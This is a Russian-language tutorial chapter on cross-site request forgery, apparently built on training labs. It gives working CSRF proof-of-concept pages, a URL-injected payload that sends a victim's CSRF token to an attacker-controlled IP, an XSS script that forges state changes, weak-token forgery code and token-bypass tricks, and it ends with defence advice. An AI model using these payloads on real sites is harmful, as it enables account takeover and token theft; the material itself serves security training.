Атаки на сессию. Часть 2. CSRF.
Глава 2. CSRF.
- ЧТО ТАКОЕ CSRF.
- CSRF-АТАКА.
- CSRF-АТАКА НА ОСНОВЕ GET-ЗАПРОСА.
- CSRF-АТАКА НА ОСНОВЕ POST-ЗАПРОСА.
- CSRF И XSS.
- АТАКА НА СЛАБЫЕ CSRF-ТОКЕНЫ.
- ДОПОЛНИТЕЛЬНЫЕ СПОСОБЫ ОБХОДА ЗАЩИТЫ ОТ CSRF.
- ЗАЩИТА ОТ CSRF И XSS.
_________________________________________________________________________________
§ 2.1. ЧТО ТАКОЕ CSRF.
2.1.1) CSRF (ПОДДЕЛКА МЕЖСАЙТОВЫХ ЗАПРОСОВ) — это атака, которая вынуждает жертву выполнить непреднамеренные действия в веб-приложении, в котором он в данный момент аутентифицирован. Эта атака осуществляется с помощью созданных злоумышленником веб-страниц, которые жертва должна посетить или с которыми она должна взаимодействовать, используя отсутствие механизмов защиты от CSRF.
Эти веб-страницы содержат вредоносные запросы, которые наследуют личность и привилегии жертвы для выполнения нежелательной функции от имени жертвы. CSRF-атаки нацелены на функции, которые вызывают изменение состояния сервера, но эти атаки также могут использоваться для доступа к конфиденциальным данным.
Если целью атаки является обычный пользователь, то CSRF может поставить под угрозу его данные и операции. Если целью атаки является администратор, то CSRF может поставить под угрозу всё веб-приложение.
Во время CSRF-атак злоумышленнику не нужно считывать ответ от сервера на вредоносный межсайтовый запрос, следовательно политика одного источника (SOP) не может рассматриваться как механизм защиты от атак CSRF.
SOP является критически важным механизмом безопасности, ограничивающий взаимодействие документа или скрипта, загруженного из одного источника, с ресурсом из другого источника. SOP не позволяет злоумышленнику прочитать ответ сервера на вредоносный межсайтовый запрос.
Веб-приложение уязвимо для CSRF-атак при наличии следующих условий:
- все URL-параметры, необходимые для целевого запроса, могут быть определены или угаданы злоумышленником.
- управление сеансом веб-приложения основано исключительно на файлах cookie HTTP, которые автоматически включаются в запросы браузера.
Чтобы успешно эксплуатировать уязвимость CSRF, нам необходимо:
- Создать вредоносную веб-страницу, которая будет отправлять действительный (межсайтовый) запрос от имени жертвы.
- Жертва должна войти в веб-приложение при отправке вредоносного межсайтового запроса.
§ 2.2. CSRF-АТАКА.
ЭТАП 1. Например, у нас есть есть веб-приложение, где мы имеем доступ к учётной записи пользователя Эла Стиенен. В этом веб-приложении можно редактировать свои данные: адрес электронной почты, номер телефона и страну:
Нужно проверить, есть ли в веб-приложении токены защиты от CSRF. Для этого нужно нажать на кнопку "сохранить" и перехватить запрос с помощью Burp Suite:
В перехваченном запросе мы не нашли токен защиты от CSRF. Следовательно мы можем проверить веб-приложение на предмет уязвимостей CSRF.
ЭТАП 2. Создать HTML-страницу, которая будет изменять данные профиля пользователя Элы Стиенен, если она посетит эту страницу:
_______________________________________________________________________ <html> <body> <form id="submitMe" action="http://xss.htb.net/api/update-profile" method="POST"> <input type="hidden" name="email" value="hacker@com" /> <input type="hidden" name="telephone" value="(888)-777-5544" /> <input type="hidden" name="country" value="Пендостан" /> <input type="submit" value="Submit request" /> </form> <script> document.getElementById("submitMe").submit() </script> </body> </html> _______________________________________________________________________
Данный кусок HTML-кода мы вязли из HTML-кода целевого веб-приложения и немного отформатировали для себя. Теперь этот код будет изменять данные нашего профиля на следующие данные:
- <input type="hidden" name="email" value="hacker@com" /> — изменить электронную почту на hacker@com
- <input type="hidden" name="telephone" value="(888)-777-5544" /> — изменить номер телефона на новый (888)-777-5544. Команды ((), ()-) и (-) заменяют символы скобок и тире. Их можно расшифровать в Burp Decoder с помощью функции "smart decode".
- <input type="hidden" name="country" value="Пендостан" /> — изменить страну проживания на Пендостан.
Сохраним эту вредоносную HTML-страницу в файле web.html.
ЭТАП 3. Запустить сервер Python в том каталоге, где находится файл web.html с вредоносной HTML-страницей. Это нужно для того, чтобы HTML-страница работала с нашего компьютера, то есть была привязана к веб-серверу Python:
Теперь HTML-страница работает на веб-сервере Python на порту 1337 и доступна в Интернете по адресу: http://IPнашегоКомпьютера:1337/web.html
ЭТАП 4. Заставить жертву Элу Стиенен посетить URL-адрес на котором работает наша вредоносная HTML-страница:
http://IPнашегоКомпьютера:1337/web.html
Если жертва посетит этот URL-адрес, то данные её профиля изменятся на те, которые мы указали на 2-м этапе:
Мы успешно провели CSRF-атаку!
§ 2.3. CSRF-АТАКА НА ОСНОВЕ GET-ЗАПРОСА.
ЭТАП 1. Например, у нас есть есть веб-приложение, где мы имеем доступ к учётной записи пользователя Джули Роджерс. В этом веб-приложении можно редактировать свои данные: адрес электронной почты, номер телефона и страну:
Если нажать на кнопку «Сохранить», то веб-приложение выведет следующее сообщение:
Нужно подтвердить сообщение, нажав на кнопку «Подтвердить» и перехватить запрос с помощью Burp Suite:
В перехваченном запросе мы нашли токен защиты от CSRF.
ЭТАП 2. Создать вредоносную HTML-страницу, которая будет изменять данные профиля пользователя Джули Роджерс, если она посетит эту страницу:
_________________________________________________________________________ <html> <body> <form id="submitMe" action="http://csrf.htb.net/app/save/[email protected]" method="GET"> <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="telephone" value="(227)-750-8112" /> <input type="hidden" name="country" value="Ирландия" /> <input type="hidden" name="action" value="save" /> <input type="hidden" name="csrf" value="ea98641c6bce34b218c0f9dac67b2f993ab95848" /> <input type="submit" value="Submit request" /> </form> <script> document.getElementById("submitMe").submit() </script> </body> </html> _________________________________________________________________________
Данный кусок HTML-кода мы вязли из HTML-кода целевого веб-приложения и немного отформатировали для себя. Теперь этот код будет изменять данные нашего профиля на следующие данные:
- <input type="hidden" name="email" value="[email protected]" /> — изменить электронную почту на [email protected].
- <input type="hidden" name="telephone" value="(227)-750-8112" /> — изменить номер телефона на новый (227)-750-8112. Команды ((), ()-) и (-) заменяют символы скобок и тире. Их можно расшифровать в Burp Decoder с помощью функции "smart decode".
- <input type="hidden" name="country" value="Ireland" /> — изменить страну проживания на Ireland.
- <input type="hidden" name="csrf" value="ea98641c6bce34b218c0f9dac67b2f993ab95848" /> — здесь указано значение токена CSRF, который мы перехватили с помощью Burp Suite на 1-м этапе.
Сохраним эту вредоносную HTML-страницу в файле web1.html.
Примечание. Более подробно об отправке данных формы на основе перехваченного GET-запроса читать здесь.
ЭТАП 3. Запустить сервер Python в том каталоге, где находится файл web1.html с вредоносной HTML-страницей. Это нужно для того, чтобы HTML-страница работала с нашего компьютера, то есть была привязана к веб-серверу Python:
Теперь HTML-страница работает на веб-сервере Python на порту 1337 и доступна в Интернете по адресу: http://IPнашегоКомпьютера:1337/web1.html
ЭТАП 4. Заставить жертву Джули Роджерс посетить URL-адрес на котором работает наша вредоносная HTML-страница:
http://IPнашегоКомпьютера:1337/web1.html
Если жертва посетит этот URL-адрес, то данные её профиля изменятся на те, которые мы указали на 2-м этапе:
Мы успешно провели CSRF-атаку на основе GET-запроса!
§ 2.4. CSRF-АТАКА НА ОСНОВЕ POST-ЗАПРОСА.
ЭТАП 1. Например, у нас есть есть веб-приложение, где мы имеем доступ к учётной записи пользователя Джули Роджерс. В этом веб-приложении можно редактировать свои данные: адрес электронной почты, номер телефона и страну:
Если нажать на кнопку «Удалить», то веб-приложение выдаст следующее сообщение:
Мы видим, что адрес электронной почты отображается также в URL-строке. Попробуем ввести вместо почты какой-нибудь рандомный HTML-код:
<h1>h1<u>underline<%2fu><%2fh1>
Если мы проверим исходный код веб-приложения в инструментах разработчика, ты заметим, что наша инъекция включилась в код:
Мы можем злоупотребить этим, чтобы украсть CSRF-токен.
ЭТАП 2. Создать полезную нагрузку, которая украдёт CSRF-токен пользователя Джули Роджерс и отправит нам:
<table%20background='%2f%2fIPнашегоКомпьютера:порт%2f
Эта полезная нагрузка тоже будет работать из уязвимой URL-строки, которую мы нашли на 1-м этапе. Но пока эту полезную нагрузку никуда вставлять не нужно.
ЭТАП 3. Запустить прослушиватель Netcat на нашем компьютере:
ЭТАП 4. Заставить жертву Джули Роджерс посетить следующий URL-адрес:
http://website.com/app/delete/%3Ctable background='%2f%2fIPнашегоКомпьютера:8000%2f
- http://website.com/app/delete/ — это веб-страница, куда перенаправляет веб-приложение, если нажать на кнопку «Удалить» (смотри этап 1).
- %3Ctable background='%2f%2f10.10.15.3:8000%2f — это наша полезная нагрузка <table background='//10.10.15.3:8000/, которая украдёт CSRF-токен пользователя Джули Роджерс и отправит нам (смотри этап 2).
Если жертва посетит этот URL-адрес, то мы получим на прослушиватель Netcat её CSRF-токен:
§ 2.5. CSRF И XSS.
2.5.1) CSRF И XSS — бывают случаи, когда нам удаётся обойти защиту CSRF, однако мы не можем создавать межсайтовые запросы из-за какого-либо ограничения, установленного политикой одного источника (SOP). В этих случаях, вместе с CSRF-атакой используется XSS-атака.
Например, у нас есть есть веб-приложение, где мы имеем доступ к учётной записи пользователя Эла Стиенен. В этом веб-приложении можно редактировать свои данные: адрес электронной почты, номер телефона и страну:
Данное веб-приложение имеет следующие уязвимости:
- веб-приложение использует защиту политикой одного источника (SOP) и защиты от CSRF-атак. Поэтому вредоносные межсайтовые запросы исключаются из-за SOP.
- поле ввода «Страна» уязвимо для атак Stored XSS (§ 1.5, глава 1)
Хотя вредоносные межсайтовые запросы исключаются из-за SOP, мы всё равно можем провести CSRF-атаку через уязвимость Stored XSS в поле ввода «Страна».
Мы будем использовать Stored XSS для отправки запроса на изменение состояния веб-приложения. А поскольку XSS-атака заставит жертву отправить запрос через его аккаунт, то мы обойдём защиту SOP, поскольку запрос будет получен не из домена злоумышленника, а из домена жертвы!
ЭТАП 1. Нажать на кнопку «Изменить видимость» в профиле пользователя Элы Стиенен. Веб-приложение направит на страницу /change-visibility со следующим сообщением:
Далее нужно нажать на кнопку «Сделать общедоступной» и перехватить запрос с помощью Burp Suite:
Мы нашли токен CSRF: 15d8d078789e961ca6af3af7f80ddb9a.
ЭТАП 2. Создать полезную нагрузку, которая выполнит CSRF-атаку, изменив настройки видимости профиля жертвы (с частной на общедоступную и наоборот):
_______________________________________________________________________ <script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get','/app/change-visibility',true); req.send(); function handleResponse(d) { var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/app/change-visibility', true); changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); changeReq.send('csrf='+token+'&action=change'); }; </script> _______________________________________________________________________
Разберём вышестоящий JavaScript-код на отдельные фрагменты:
- var req = new XMLHttpRequest(); — создаёт переменную объекта с именем req, который мы будем использовать для генерации запроса.
- req.onload = handleResponse; — создаёт обработчик событий onload, который выполнит действие после загрузки страницы. Это действие будет связано с функцией handleResponse, которую мы определим позже.
- req.open('get','/app/change-visibility',true); — передаёт обработчику событий open три аргумента: get (метод запроса), /app/change-visibility (путь запроса к странице уязвимого веб-приложения), true (продолжит выполнение).
- req.send(); — отправляет всё, что мы создали в HTTP-запросе.
- function handleResponse(d) {}; — определяет функцию handleResponse.
- var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1]; — определяет переменную с именем token, которая получает значение responseText со страницы, которую мы указали выше в нашем запросе (/app/change-visibility). Команда (/name="csrf" type="hidden" value="(\w+)"/)[1]; будет искать скрытое поле ввода с именем csrf, команда \w+ будет соответствовать одному или нескольким буквенно-цифровым символам (чтобы самостоятельно найти данную команду в веб-приложении, нужно открыть инструменты разработчика и во вкладке Инспектор найти в поисковике слово «csrf»):
Примечание. Если результат не получен, то нужно просмотреть в другом месте исходного кода или скопировать значение текущего токен CSRF и найти его в поиске.
- var changeReq = new XMLHttpRequest(); — создаёт HTTP-запрос, который мы отправим через объект XMLHttpRequest.
- changeReq.open('post', '/app/change-visibility', true); — меняет метод запроса с GET на POST. Первый запрос выше в req.open заключался в том, чтобы переместить нас на целевую страницу, а новый запрос в changeReq.open выполняет наше желаемое действие по изменению настроек видимости профиля жертвы.
- changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); — для заголовка Content-Type устанавливается значение application/x-www-form-urlencoded.
- changeReq.send('csrf='+token+'&action=change'); — отправляет запрос с двумя параметрами: csrf и action. Параметр csrf содержит значение переменной токена, которая является csrf-токеном жертвы. Эти два параметра мы нашли на 1-м этапе при перехвате запроса через Burp Suite:
ЭТАП 3. Поместить выше созданную полезную нагрузку в поле ввода «страна» и нажать на кнопку «Сохранить»:
Веб-приложение направит нас на страницу /save/адресПочты, где в поле ввода «страна» будет видна наша полезная нагрузка:
Нужно сохранить наши изменённые данные. Теперь полезная нагрузка будет расположена в поле ввода «страна» в профиле пользователя Эла Стиенен.
ЭТАП 4. Заставить жертву посетить следующий URL-адрес:
http://website.com/[email protected]
- /[email protected] — это веб-страница, куда нас перенаправляет веб-приложение, если нажать на кнопку «Поделиться» в профиле пользователя Эла Стиенен.
Допустим жертвой является пользователь Мохаммад Реза:
Если пользователь Мохаммад Реза посетит URL-адрес выше, то он попадёт в профиль пользователя Элы Стиенен:
И теперь, когда пользователь Мохаммад Реза вернётся на страницу своего профиля и перезагрузит страницу, то его профиль станет общедоступным (появится кнопка «Поделиться»):
Мы успешно выполнили CSRF-атаку через уязвимость XSS, обойдя защиту SOP.
§ 2.6. АТАКА НА СЛАБЫЕ CSRF-ТОКЕНЫ.
2.6.1) АТАКА НА СЛАБЫЕ CSRF-ТОКЕНЫ — веб-приложения могут использовать небезопасные и ненадежные алгоритмы генерации CSRF-токенов, что может привести к угадыванию токена.
Один из примеров слабой генерации CSRF-токенов — когда веб-приложение генерирует CSRF-токены путём хеширования имени пользователя в формат MD5. То есть, когда веб-приложение хеширует в формат MD5 имя пользователя и назначает эти хэши в качестве CSRF-токенов.
ЭТАП 1. Например, у нас есть есть веб-приложение, где мы имеем доступ к учётной записи пользователя Мохаммад Реза (@goldenpeacock467):
Нужно выяснить, генерирует ли веб-приложение csrf-токены через хеширование имени пользователя в формат MD5.
ЭТАП 1. Открыть инструменты разработчика и перейти во вкладку «сеть», где можно найти CSRF-токен пользователя Мохаммад Реза в формате MD5:
csrf=0bef12f8998057a7656043b6d30c90a2
Теперь нужно сравнить хэш CSRF-токена с хэшем имени пользователя Мохаммад Реза (@goldenpeacock467). Для этого нужно хешировать имя @goldenpeacock467 в формат MD5 с помощью следующей команды:
echo -n goldenpeacock467 | md5sum
Хэш csrf-токена совпадает с хэшем имени пользователя Мохаммад Реза (@goldenpeacock467). Значит csrf-токен генерируется с помощью хеширования имени пользователя в формат MD5.
ЭТАП 2. Создать вредоносную HTML-страницу, которая изменит настройки видимости профиля жертвы (с частной на общедоступную и наоборот):
_________________________________________________________________________ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="referrer" content="never"> <title>Proof-of-concept</title> <link rel="stylesheet" href="styles.css"> <script src="./md5.min.js"></script> </head> <body> <h1> Нажми старт, чтобы выиграть!</h1> <button class="button" onclick="trigger()">Start!</button> <script> let host = 'http://csrf.htb.net' function trigger(){ // Creating/Refreshing the token in server side. window.open(`${host}/app/change-visibility`) window.setTimeout(startPoc, 2000) } function startPoc() { // Setting the username let hash = md5("crazygorilla983") window.location = `${host}/app/change-visibility/confirm?csrf=${hash}&action=change` } </script> </body> </html> _________________________________________________________________________
Данный кусок HTML-кода мы вязли из HTML-кода целевого веб-приложения и немного отформатировали для себя. Теперь этот код будет изменять видимость профиля жертвы/
- <button class="button" onclick="trigger()">Start!</button> — создаёт обработчик событий onclick, который нужен для обхода блокировщиков всплывающих окон в веб-приложении.
Сохраним эту вредоносную HTML-страницу в файле web.html.
Чтобы наша вредоносная HTML-страница имела функцию хеширования в формат MD5, нужно создать следующий код:
_________________________________________________________________________ !function(n){"use strict";function d(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function f(n,t,r,e,o,u){return d((u=d(d(t,n),d(e,u)))<<o|u>>>32-o,r)}function l(n,t,r,e,o,u,c){return f(t&r|~t&e,n,t,o,u,c)}function g(n,t,r,e,o,u,c){return f(t&e|r&~e,n,t,o,u,c)}function v(n,t,r,e,o,u,c){return f(t^r^e,n,t,o,u,c)}function m(n,t,r,e,o,u,c){return f(r^(t|~e),n,t,o,u,c)}function c(n,t){var r,e,o,u;n[t>>5]|=128<<t%32,n[14+(t+64>>>9<<4)]=t;for(var c=1732584193,f=-271733879,i=-1732584194,a=271733878,h=0;h<n.length;h+=16)c=l(r=c,e=f,o=i,u=a,n[h],7,-680876936),a=l(a,c,f,i,n[h+1],12,-389564586),i=l(i,a,c,f,n[h+2],17,606105819),f=l(f,i,a,c,n[h+3],22,-1044525330),c=l(c,f,i,a,n[h+4],7,-176418897),a=l(a,c,f,i,n[h+5],12,1200080426),i=l(i,a,c,f,n[h+6],17,-1473231341),f=l(f,i,a,c,n[h+7],22,-45705983),c=l(c,f,i,a,n[h+8],7,1770035416),a=l(a,c,f,i,n[h+9],12,-1958414417),i=l(i,a,c,f,n[h+10],17,-42063),f=l(f,i,a,c,n[h+11],22,-1990404162),c=l(c,f,i,a,n[h+12],7,1804603682),a=l(a,c,f,i,n[h+13],12,-40341101),i=l(i,a,c,f,n[h+14],17,-1502002290),c=g(c,f=l(f,i,a,c,n[h+15],22,1236535329),i,a,n[h+1],5,-165796510),a=g(a,c,f,i,n[h+6],9,-1069501632),i=g(i,a,c,f,n[h+11],14,643717713),f=g(f,i,a,c,n[h],20,-373897302),c=g(c,f,i,a,n[h+5],5,-701558691),a=g(a,c,f,i,n[h+10],9,38016083),i=g(i,a,c,f,n[h+15],14,-660478335),f=g(f,i,a,c,n[h+4],20,-405537848),c=g(c,f,i,a,n[h+9],5,568446438),a=g(a,c,f,i,n[h+14],9,-1019803690),i=g(i,a,c,f,n[h+3],14,-187363961),f=g(f,i,a,c,n[h+8],20,1163531501),c=g(c,f,i,a,n[h+13],5,-1444681467),a=g(a,c,f,i,n[h+2],9,-51403784),i=g(i,a,c,f,n[h+7],14,1735328473),c=v(c,f=g(f,i,a,c,n[h+12],20,-1926607734),i,a,n[h+5],4,-378558),a=v(a,c,f,i,n[h+8],11,-2022574463),i=v(i,a,c,f,n[h+11],16,1839030562),f=v(f,i,a,c,n[h+14],23,-35309556),c=v(c,f,i,a,n[h+1],4,-1530992060),a=v(a,c,f,i,n[h+4],11,1272893353),i=v(i,a,c,f,n[h+7],16,-155497632),f=v(f,i,a,c,n[h+10],23,-1094730640),c=v(c,f,i,a,n[h+13],4,681279174),a=v(a,c,f,i,n[h],11,-358537222),i=v(i,a,c,f,n[h+3],16,-722521979),f=v(f,i,a,c,n[h+6],23,76029189),c=v(c,f,i,a,n[h+9],4,-640364487),a=v(a,c,f,i,n[h+12],11,-421815835),i=v(i,a,c,f,n[h+15],16,530742520),c=m(c,f=v(f,i,a,c,n[h+2],23,-995338651),i,a,n[h],6,-198630844),a=m(a,c,f,i,n[h+7],10,1126891415),i=m(i,a,c,f,n[h+14],15,-1416354905),f=m(f,i,a,c,n[h+5],21,-57434055),c=m(c,f,i,a,n[h+12],6,1700485571),a=m(a,c,f,i,n[h+3],10,-1894986606),i=m(i,a,c,f,n[h+10],15,-1051523),f=m(f,i,a,c,n[h+1],21,-2054922799),c=m(c,f,i,a,n[h+8],6,1873313359),a=m(a,c,f,i,n[h+15],10,-30611744),i=m(i,a,c,f,n[h+6],15,-1560198380),f=m(f,i,a,c,n[h+13],21,1309151649),c=m(c,f,i,a,n[h+4],6,-145523070),a=m(a,c,f,i,n[h+11],10,-1120210379),i=m(i,a,c,f,n[h+2],15,718787259),f=m(f,i,a,c,n[h+9],21,-343485551),c=d(c,r),f=d(f,e),i=d(i,o),a=d(a,u);return[c,f,i,a]}function i(n){for(var t="",r=32*n.length,e=0;e<r;e+=8)t+=String.fromCharCode(n[e>>5]>>>e%32&255);return t}function a(n){var t=[];for(t[(n.length>>2)-1]=void 0,e=0;e<t.length;e+=1)t[e]=0;for(var r=8*n.length,e=0;e<r;e+=8)t[e>>5]|=(255&n.charCodeAt(e/8))<<e%32;return t}function e(n){for(var t,r="0123456789abcdef",e="",o=0;o<n.length;o+=1)t=n.charCodeAt(o),e+=r.charAt(t>>>4&15)+r.charAt(15&t);return e}function r(n){return unescape(encodeURIComponent(n))}function o(n){return i(c(a(n=r(n)),8*n.length))}function u(n,t){return function(n,t){var r,e=a(n),o=[],u=[];for(o[15]=u[15]=void 0,16<e.length&&(e=c(e,8*n.length)),r=0;r<16;r+=1)o[r]=909522486^e[r],u[r]=1549556828^e[r];return t=c(o.concat(a(t)),512+8*t.length),i(c(u.concat(t),640))}(r(n),r(t))}function t(n,t,r){return t?r?u(t,n):e(u(t,n)):r?o(n):e(o(n))}"function"==typeof define&&define.amd?define(function(){return t}):"object"==typeof module&&module.exports?module.exports=t:n.md5=t}(this); //# sourceMappingURL=md5.min.js.map _________________________________________________________________________
Сохраним этот код в файле md5.min.js и поместим его в каталог с вредоносной HTML-страницей.
ЭТАП 3. Запустить сервер Python в том каталоге, где находится файл web.html с вредоносной HTML-страницей. Это нужно для того, чтобы HTML-страница работала с нашего компьютера, то есть была привязана к веб-серверу Python:
Теперь HTML-страница работает на веб-сервере Python на порту 1337 и доступна в Интернете по адресу: http://IPнашегоКомпьютера:1337/web.html
ЭТАП 4. Заставить жертву посетить URL-адрес на котором работает наша вредоносная HTML-страница:
http://IPнашегоКомпьютера:1337/web.html
Допустим жертвой является пользователь Эла Стиенен, профиль которой является частной (закрытой):
Если жертва посетит URL-адрес выше, то она попадёт на нашу вредоносную HTML-страницу:
Нажав на кнопку старт, профиль жертвы Элы Стиенен станет общедоступным (появится кнопка «Поделиться»):
Мы успешно выполнили CSRF-атаку через слабые csrf-токены!
§ 2.7. ДОПОЛНИТЕЛЬНЫЕ СПОСОБЫ ОБХОДА ЗАЩИТЫ ОТ CSRF.
2.7.1) НУЛЕВОЕ ЗНАЧЕНИЕ CSRF-ТОКЕНА — мы можем присвоить CSRF-токену значение null (пустое значение):
Это может сработать в веб-приложениях, которые проверяют только имя CSRF-токена и не проверяют его значение. В таких случаях, мы можем создавать межсайтовые запросы, используя нулевой токен CSRF, если в запросе указан заголовок.
2.7.2) СЛУЧАЙНЫЙ ТОКЕН CSRF — мы можем установить рандомное значение CSRF-токена той же длины, что и исходный токен CSRF. Это может сработать в веб-приложениях, которые только проверяют, имеет ли CSRF-токен значение и определённую длину, не проверяя само значение токена.
Например, реальный CSRF-токен может быть длиной 32 байта:
CSRF-Token: 9cfffd9e8e78bd68975e295d1b3d3331
Следовательно, нам нужно изменить его на 32-байтовый фейковый токен:
CSRF-Token: 9cfffl3dj3837dfkj3j387fjcxmfjfd3
2.7.3) ИСПОЛЬЗОВАНИЕ CSRF-ТОКЕНА ДРУГОГО СЕАНСА — мы можем использовать один и тот же CSRF-токен для всех учетных записей.
Это может сработать в веб-приложениях, которые не проверяют, привязан ли CSRF-токен к конкретной учётной записи или нет, а только проверяют, является ли CSRF-токен алгоритмически правильным.
2.7.4) ИЗМЕНЕНИЕ МЕТОДА HTTP-ЗАПРОСА — мы можем изменить метод HTTP-запроса (с POST-запроса на GET-запрос и наоборот).
Это может сработать в веб-приложениях, в которых неожиданные HTTP-запросы могут обрабатываться без необходимости использования CSRF-токена.
2.7.5) УДАЛЕНИЕ ПАРАМЕТРА CSRF-ТОКЕНА CSRF ИЛИ ОТПРАВКА ПУСТОГО CSRF-ТОКЕНА.
Это может сработать в веб-приложениях, которые проверяют действительность CSRF-токена только в том случае, если токен существует или если значение токена не является пустым.
То есть, если при отправке HTTP-запроса, удалить из запроса весь CSRF-токен или удалить только значение CSRF-токена, то веб-приложение может разрешить такой запрос.
2.7.6) ОБХОД ДВОЙНОЙ ОТПРАВКИ ФАЙЛА COOKIE.
Иногда веб-приложения используют двойную отправку файла cookie в качестве защиты от CSRF — когда отправленный запрос содержит один и тот же случайный CSRF-токен в следующих местах:
Сервер затем будет проверять, совпадают ли эти два значения. Если значения совпадают, то запрос считается законным.
Если используется двойная отправка файла cookie, то вероятно веб-приложение не сохраняет действительный токен на стороне сервера. Сервер не проверяет законность полученного CSRF-токена, он просто проверяет, совпадают ли токены в файле cookie и в параметре запроса.
В этом случае, нам нужно отправить запрос с одним и тем же случайным CSRF-токеном в файле cookie и URL-параметрах запроса:
2.7.7) ОБХОД HTTP-ЗАГОЛОВКА REFERRER.
Если веб-приложение использует HTTP-заголовок Referrer в качестве механизма защиты от CSRF, то можно попробовать удалить этот заголовок в запросе. Это можно сделать, добавив на свою страницу следующий метатег:
<meta name="referrer" content="no-referrer"
Защита от CSRF с помощью заголовка ссылки
Если приложение использует заголовок ссылки в качестве средства защиты от CSRF, вы можете попробовать удалить заголовок ссылки. Добавьте следующий мета-тег на страницу, на которой размещен ваш скрипт CSRF.
2.7.8) ОБХОД РЕГУЛЯРНОГО ВЫРАЖЕНИЯ.
Иногда у HTTP-заголовка Referrer есть регулярное выражение белого списка или регулярное выражение, которое разрешает доступ к одному конкретному домену.
Допустим, заголовок Referrer разрешает для запросов собственный домен target.com в качестве белого списка. Чтобы обойти регулярное выражение, можно использовать вместо этого домена что-то вроде:
Допустим, заголовок Referrer проверяет в запросе наличие домена google.com. Чтобы обойти регулярное выражение, мы можем использовать вместо этого домена что-то вроде:
§ 2.8. ЗАЩИТА ОТ CSRF И XSS.
- Выполнять проверку при каждом запросе на доступ к каждой функции, чтобы убедиться, что пользователь имеет право выполнять это действие.
- Изменение механизмов управления сеансами и реализация дополнительных, случайно сгенерированных и непредсказуемых токенов безопасности (также известных как шаблон токена синхронизатора) или ответов на каждый HTTP-запрос, связанный с конфиденциальными операциями.
- Проверка HTTP-заголовка Referrer.
- Выполнение проверки порядка вызова страниц.
- Принудительное выполнение конфиденциальных функций для подтверждения полученной информации (двухэтапная операция).
- Явное указание использования файлов cookie с помощью атрибута SameSite. Более подробную информацию о файлах cookie SameSite можно найти на следующем ресурсе: Описание файлов cookie SameSite.
I) ПРОВЕРКА ВХОДНЫХ ПОЛЬЗОВАТЕЛЬСКИХ ДАННЫХ — веб-приложение должно проверять каждый пользовательский ввод сразу после его получения.
Проверка пользовательского ввода должна выполняться на стороне сервера с использованием ограничений в виде белого списка разрешенных символов ввода, а не черного списка запрещённых символов. Белый список помогает программисту избежать потенциальных недостатков, возникающих в результате неправильной обработки потенциально вредоносных символов.
Проверка пользовательского ввода должна включать следующие принципы в следующем порядке:
- Проверить наличие фактических входных данных, не принимать нулевые или пустые значения, если входные данные не являются необязательными.
- Применить ограничения на размер пользовательского ввода. Длина ввода должна находится в ожидаемом диапазоне.
- Проверить тип входных данных, убедившись, что полученный тип данных действительно соответствует ожидаемому типу, и сохранить входные данные в переменной указанного типа (строго определенной переменной).
- Ограничить диапазон входных значений. Значение входных данных должно находиться в пределах допустимого диапазона значений для роли входных данных в веб-приложении.
- Очистить спецсимволы, если только нет уникальной функциональной необходимости, набор входных символов должен быть ограничен [az], [AZ] и [0-9]
- Обеспечить соответствие логическому вводу.
II) HTML-КОДИРОВАНИЕ ДЛЯ ВЫВОДА, УПРАВЛЯЕМОГО ПОЛЬЗОВАТЕЛЕМ — веб-приложение должно кодировать ввод, управляемый пользователем.Веб-приложение должно кодировать ввод, управляемый пользователем, в следующих случаях:
- Перед тем, как встраивать контролируемый пользователем ввод в целевой вывод браузера.
- Перед документированием контролируемого пользователем ввода в файлы журналов (чтобы предотвратить воздействие вредоносных скриптов на пользователей с правами администратора, которые просматривают журналы через веб-интерфейс)
Рассмотрим данные, контролируемые пользователем:
- динамические значения, которые вводятся непосредственно пользователем (например, значения GET, POST, COOKIE, HEADER, FILE UPLOAD и значения QUERYSTRING)
- Значения хранилища данных, контролируемые пользователем (база данных, журнал, файлы и т. д.)
- Значения сеанса, полученные непосредственно из введенных пользователем данных или значений хранилища данных, контролируемых пользователем.
- Значения, полученные от внешних сущностей (компьютеров или контролируемых человеком).
- Любое другое значение, на которое может повлиять пользователь.
Процесс кодирования должен гарантировать, что входные данные, соответствующие заданным критериям, будут обработаны с помощью компонента очистки данных, который заменит небуквенно-цифровые символы в их HTML-представлении перед включением этих значений в выходные данные, отправляемые пользователю или в файл журнала. Эта операция гарантирует, что каждый скрипт будет представлен пользователю, а не выполнен в браузере пользователя.
III) ДОПОЛНИТЕЛЬНЫЕ ИНСТРУКЦИИ:
- Не встраивать пользовательский ввод в пользовательские скрипты. Значения из пользовательского ввода нельзя напрямую встраивать, как часть HTML-тега, тега скрипта (JS/VBS), HTML-события или HTML-свойства.
- Бесплатные инструкции по защите приложения от XSS можно найти здесь: Памятка по предотвращению межсайтового скриптинга.
- Список символов, закодированных в формат HTML, можно найти здесь: Специальные символы в HTML.
Заголовки Content-Security-Policy (CSP) значительно снижают риск и воздействие атак XSS в современных браузерах за счет указания белого списка в заголовках HTTP-ответов. Более подробную информацию о CSP можно найти на следующем ресурсе: Content Security Policy.
Кроме того, файлы cookie должны быть помечены как HTTPOnly для атак XSS, чтобы их нельзя было перехватить. Обходы существуют, но они более